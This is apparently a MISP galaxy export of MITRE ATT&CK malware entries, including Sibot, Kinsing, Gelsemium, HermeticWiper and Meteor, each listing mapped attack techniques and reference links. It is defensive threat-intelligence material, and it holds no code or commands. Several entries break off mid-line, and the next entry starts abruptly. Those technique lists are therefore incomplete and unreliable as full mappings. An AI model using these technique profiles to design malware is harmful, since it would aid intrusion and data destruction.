- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 7180. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0588">https://attack.mitre.org/software/S0588</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/">https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html">https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/">https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/</a></td>
</tr>
</tbody>
</table>
**Sibot - S0589**

[Sibot](https://attack.mitre.org/software/S0589) is dual-purpose malware written in VBScript designed to achieve persistence on a compromised system as well as download and execute additional payloads. Microsoft discovered three [Sibot](https://attack.mitre.org/software/S0589) variants in early 2021 during its investigation of [APT29](https://attack.mitre.org/groups/G0016) and the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024).(Citation: MSTIC NOBELIUM Mar 2021)

The tag is: `misp-galaxy:mitre-malware="Sibot - S0589"`

Sibot - S0589 is also known as:

- Sibot

View relationships graph

Sibot - S0589 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Mshta - T1218.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-
Kinsing - S0599

[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: `misp-galaxy:mitre-malware="Kinsing - S0599"`

Kinsing - S0599 is also known as:

- Kinsing

View relationships graph

Kinsing - S0599 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="SSH - T1021.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deploy Container - T1610"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7182. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0599">https://attack.mitre.org/software/S0599</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/">https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/</a></td>
</tr>
</tbody>
</table>

Gelsemium - S0666

[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper
Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)

The tag is: `misp-galaxy:mitre-malware="Gelsemium - S0666"`

Gelsemium - S0666 is also known as:

- Gelsemium
- Gelsevirine
- Gelsenicine
- Gelsemine

View relationships graph

Gelsemium - S0666 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Print Processors - T1547.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Reflective Code Loading - T1620" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
Chrommme - S0667

[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)

The tag is: *misp-galaxy:mitre-malware="Chrommme - S0667"*

Chrommme - S0667 is also known as:

- Chrommme

View relationships graph

Chrommme - S0667 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7184. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0667">https://attack.mitre.org/software/S0667</a></td>
</tr>
</tbody>
</table>

**QuietSieve - S0686**

[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)

The tag is: *misp-galaxy:mitre-malware="QuietSieve - S0686"*

QuietSieve - S0686 is also known as:

- QuietSieve

View relationships graph

QuietSieve - S0686 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
TinyTurla - S0668

[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)

The tag is: *misp-galaxy:mitre-malware="TinyTurla - S0668"*

TinyTurla - S0668 is also known as:

- TinyTurla

View relationships graph

TinyTurla - S0668 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
KOCTOPUS - S0669

[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version. (Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: `misp-galaxy:mitre-malware="KOCTOPUS - S0669"`

KOCTOPUS - S0669 is also known as:

- KOCTOPUS

View relationships graph

KOCTOPUS - S0669 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 7187. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0669">https://attack.mitre.org/software/S0669</a></td>
</tr>
<tr>
<td><a href="https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf">https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf</a></td>
</tr>
</tbody>
</table>

Flagpro - S0696

[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021)

The tag is: misp-galaxy:mitre-malware="Flagpro - S0696"

Flagpro - S0696 is also known as:
Flagpro

View relationships graph

Flagpro - S0696 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
Table 7188. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0696">https://attack.mitre.org/software/S0696</a></td>
</tr>
</tbody>
</table>

**Torisma - S0678**

[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)

The tag is: `misp-galaxy:mitre-malware="Torisma - S0678"`

Torisma - S0678 is also known as:

- Torisma

View relationships graph

Torisma - S0678 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 7189. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0678">https://attack.mitre.org/software/S0678</a></td>
</tr>
</tbody>
</table>

**Ferocious - S0679**

[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used by [WIRTE](https://attack.mitre.org/groups/G0090) since at least 2021.(Citation: Kaspersky WIRTE November 2021)

The tag is: `misp-galaxy:mitre-malware="Ferocious - S0679"`

Ferocious - S0679 is also known as:

• Ferocious

View relationships graph

Ferocious - S0679 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 7190. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0679">https://attack.mitre.org/software/S0679</a></td>
<td></td>
</tr>
</tbody>
</table>

**HermeticWiper - S0697**

[HermeticWiper](https://attack.mitre.org/software/S0697) is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: ESET Hermetic Wiper February 2022)(Citation: Qualys Hermetic Wiper March 2022)

The tag is: **misp-galaxy:mitre-malware="HermeticWiper - S0697"**

HermeticWiper - S0697 is also known as:

- HermeticWiper
- Trojan.Killdisk
- DriveSlayer

**View relationships graph**

HermeticWiper - S0697 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 7191. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0697">https://attack.mitre.org/software/S0697</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware">https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-057a">https://www.cisa.gov/uscert/ncas/alerts/aa22-057a</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine">https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack">https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack</a></td>
</tr>
</tbody>
</table>

Meteor - S0688

[Meteor](https://attack.mitre.org/software/S0688) is a wiper that was used against Iranian government organizations, including Iranian Railways, the Ministry of Roads, and Urban Development systems, in July 2021. [Meteor](https://attack.mitre.org/software/S0688) is likely a newer version of similar wipers called Stardust and Comet that were reportedly used by a group called "Indra" since at least 2019 against private companies in Syria.(Citation: Check Point Meteor Aug 2021)

The tag is: misp-galaxy:mitre-malware="Meteor - S0688"

Meteor - S0688 is also known as:

• Meteor

View relationships graph

Meteor - S0688 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7192. Table References
WhisperGate - S0689

